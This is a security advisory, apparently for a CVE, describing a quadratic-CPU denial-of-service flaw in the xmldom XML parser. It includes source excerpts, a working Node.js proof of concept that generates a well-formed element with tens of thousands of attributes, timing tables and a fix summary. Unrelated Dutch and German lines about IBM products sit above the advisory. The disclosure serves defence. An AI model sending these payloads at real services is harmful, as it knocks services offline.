CVE-2026-83613

IBM heeft meerdere beveiligingsproblemen opgelost in DataPower Gateway versies 10.5 tot 11.0 en een veelvoud aan onderliggende subcomponenten.

Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise ausnutzen, um Sicherheitsvorkehrungen zu umgehen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, um Dateien zu manipulieren und um einen Cross-Site Scripting Angriff durchzuführen.

Ein Angreifer kann mehrere Schwachstellen in IBM DataPower Gateway ausnutzen, um beliebigen Programmcode auszuführen, erweiterte Berechtigungen zu erlangen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren oder offenzulegen, einen Denial-of-Service-Zustand auszulösen oder Cross-Site-Scripting-Angriffe durchzuführen.

## Summary xmldom builds the attribute collection of every parsed element by inserting attributes one at a time into a DOM `NamedNodeMap`. Each insertion first performs a **linear scan of all already-inserted attributes** to enforce the DOM uniqueness rule (no two attributes with the same qualified name / namespace+local-name). Parsing an element that carries `M` distinct attributes therefore costs `1 + 2 + … + M = O(M²)` comparisons. Because the trigger is simply "one element with many attributes", the attack payload is a **fully well-formed XML document**. No malformed markup, no error recovery, and no non-default parser options are involved — parsing completes silently with zero `warning`/`error`/`fatalError` events. An attacker who can submit a modest, highly compressible document (a single element with tens of thousands of attributes, ~340 KB uncompressed) can consume seconds of single-threaded CPU per request, enabling an unauthenticated denial of service. This is distinct from the known quadratic-**memory** namespace-map issue: it burns **CPU** and it does not require any namespace declarations or nesting. ## Details The DOM content handler adds each attribute of a starting element by calling `el.setAttributeNode(attr)` in a loop: ```js // DOMHandler.startElement for (var i = 0; i < len; i++) { var namespaceURI = attrs.getURI(i); var value = attrs.getValue(i); var qName = attrs.getQName(i); var attr = doc.createAttributeNS(namespaceURI, qName); attr.value = attr.nodeValue = value; el.setAttributeNode(attr); // O(existing attrs) each — see below } ``` https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom-parser.js#L370-L387 `setAttributeNode` delegates to `NamedNodeMap.setNamedItem`, which calls `getNamedItemNS` to look for an existing attribute with the same namespace URI and local name before appending: ```js setNamedItem: function (attr) { var el = attr.ownerElement; if (el && el !== this._ownerElement) { throw new DOMException(DOMException.INUSE_ATTRIBUTE_ERR); } var oldAttr = this.getNamedItemNS(attr.namespaceURI, attr.localName); // linear scan if (oldAttr === attr) { return attr; } _addNamedNode(this._ownerElement, this, attr, oldAttr); return oldAttr; }, ``` https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L612-L623 `getNamedItemNS` walks the whole list on every call: ```js getNamedItemNS: function (namespaceURI, localName) { if (!namespaceURI) { namespaceURI = null; } var i = 0; while (i < this.length) { var node = this[i]; if (node.localName === localName && node.namespaceURI === namespaceURI) { return node; } i++; } return null; }, ``` https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L702-L715 For the i-th attribute the scan visits `i-1` entries, so inserting `M` distinct attributes performs `Θ(M²)` comparisons. There is no hash index or set keyed by name; the map is a plain array-backed structure. The same structure exists on 0.8.x. There `setNamedItem` dedups via `getNamedItem(attr.nodeName)` instead of `getNamedItemNS`, but that method is likewise a full linear scan, so the complexity is identical: - `startElement` loop / `setAttributeNode`: https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom-parser.js#L159-L176 - `setNamedItem` → linear `getNamedItem`: https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L286-L308 The linear-scan `NamedNodeMap` predates the `@xmldom/xmldom` fork and is present unchanged in the unscoped `xmldom` package back to its earliest published release. In `xmldom@0.1.0`, parsing already inserts each attribute one at a time (`DOMHandler.startElement` loops calling `setAttributeNS` → `setAttributeNode` → `NamedNodeMap.setNamedItem`), and `setNamedItem` dedups by calling `getNamedItemNS`, which is a full linear `while (i--)` scan of the already-inserted attributes — the identical `O(M²)` structure. The whole unscoped line (`0.1.0` … `0.6.0`) is therefore affected; the earliest published tag (`0.1.0`) was verified to contain the per-insert linear dedup scan. ## Proof of Concept A single well-formed element with `M` distinct attributes. No malformed markup and no options: ```js 'use strict'; var DOMParser = require('@xmldom/xmldom').DOMParser; function buildDoc(m) { var parts = new Array(m); for (var i = 0; i < m; i++) parts[i] = 'a' + i + '="x"'; return '<r ' + parts.join(' ') + '/>'; // <r a0="x" a1="x" ... a{M-1}="x"/> } for (var _i = 0, sizes = [2000, 4000, 8000, 16000, 32000]; _i < sizes.length; _i++) { var m = sizes[_i]; var xml = buildDoc(m); var t0 = process.hrtime.bigint(); var doc = new DOMParser().parseFromString(xml, 'text/xml'); // silent: no error events var ms = Number(process.hrtime.bigint() - t0) / 1e6; console.log(m + ' attrs, ' + xml.length + ' bytes -> ' + ms.toFixed(1) + ' ms; parsed=' + doc.documentElement.attributes.length); } ``` Measured with Node.js v18.20.8 (wall-clock; absolute numbers vary by host, the **scaling** is the load-bearing fact): **`@xmldom/xmldom` 0.9.10:** | M (attributes) | input bytes | time (ms) | ratio vs prev | |---:|---:|---:|---:| | 2000 | 18,894 | 13.4 | — | | 4000 | 38,894 | 38.7 | ×2.9 | | 8000 | 78,894 | 100.8 | ×2.6 | | 16000 | 164,894 | 406.2 | ×4.0 | | 32000 | 340,894 | 2149.5 | ×5.3 | **`@xmldom/xmldom` 0.8.13:** | M (attributes) | input bytes | time (ms) | |---:|---:|---:| | 2000 | 18,894 | 10.6 | | 4000 | 38,894 | 19.9 | | 8000 | 78,894 | 75.9 | | 16000 | 164,894 | 657.7 | | 32000 | 340,894 | 1643.2 | **`xmldom` (unscoped) 0.6.0:** 4000 → 28.2 ms, 8000 → 131.8 ms, 16000 → 545.2 ms (≈ ×4 per doubling). Time grows ≈ ×4 per doubling of `M` — quadratic. About **340 KB of well-formed input costs ~1.6–2.1 s of single-threaded CPU**, and it keeps scaling: doubling the attribute count quadruples the cost. The document is trivially generated and compresses to a few kilobytes on the wire. ## Impact Unauthenticated, remotely triggerable denial of service against any service that parses attacker-influenced XML/HTML with xmldom. A single request holds one event-loop thread for seconds; a handful of concurrent requests can saturate CPU and stall the process. Because the payload is a plain well-formed document (one element, many attributes), it passes any "must be well-formed" gate and reaches the parser before any application-level validation (e.g. schema checks or signature verification) can run. The payload is highly compressible, so it is effective over compressed transports. ## Fix Applied Replaced the per-insert linear duplicate scan on the parse-time dedup path with a name-keyed index, so de-duplicating an element's attributes during parse is O(M) instead of O(M²) — a well-formed-but-hostile attribute list can no longer wedge the parse. Behavior-preserving: attribute order and duplicate resolution (last value wins, first position kept) are byte-identical. Non-breaking and independent of `requireWellFormed`; ships on both maintained versions.